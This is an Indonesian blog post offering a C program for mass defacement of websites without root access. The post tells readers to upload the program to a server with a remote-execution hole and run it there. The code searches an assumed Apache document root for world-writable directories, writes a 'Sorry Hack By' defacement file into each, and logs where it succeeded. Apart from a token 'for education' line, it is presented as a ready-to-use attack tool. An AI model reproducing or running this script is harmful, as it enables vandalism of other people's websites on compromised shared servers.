Jumat, 09 April 2010

mass deface no root?!

MASS DEFACE TANPA ROOTING WHY NOT??

Skrip deface masal tanpa harus rooting (misal pake user nobody)
Copyright By Ph03n1X @ 2005
You may use 'n edited this script of course for education
Commercial use is prohibited


Simpan skrip berikut sebagai file C kemudian dowload ke site yang punya hole remote ekskusi ekskusi skrip ini di server yang punya hole itu...

----------------------------massnoroot.c----------------------------------

/*
Mass Deface script without rooting
Write By Ph03n1X king_purba@yahoo.co.uk
http://student.te.ugm.ac.id/~phoenix03/tutorial
*/

#include "stdio.h"
#include "stdlib.h"

FILE *ax;
char abc[256],bcd[300];

main()
{

/*
Assumsi bahwa semua DocumentRoot virtual domain apache
berada di bawah folder /usr/student/resarch
Untuk mengetahui dimana DocumentRoot silakan cari
di httpd.conf
*/

system("find /usr/student/resarch -perm 777 -type d > folder.txt");
if((ax=fopen("folder.txt","r"))==NULL)
{
printf("Sorry cannot open file folder.txt\n");exit(0);
}
while(fgets(abc,sizeof(abc),ax))
{
abc[strlen(abc)-1]='\0';
sprintf(bcd,"echo Sorry Hack By king_purba@yahoo.co.uk > %s/deface.txt",abc);
system(bcd);
}
system("find /usr/student/resarch -name deface.txt > result.txt");
printf("\nFile yang tercipta dapat anda lihat di file result.txt\n");
printf("Kalo file result kosong berarti usernya jago-jago atau anda udah di chroot :D\n\n");
}

---------------------------EOF-massnoroot.c----------------------------------

Tidak ada komentar:

Posting Komentar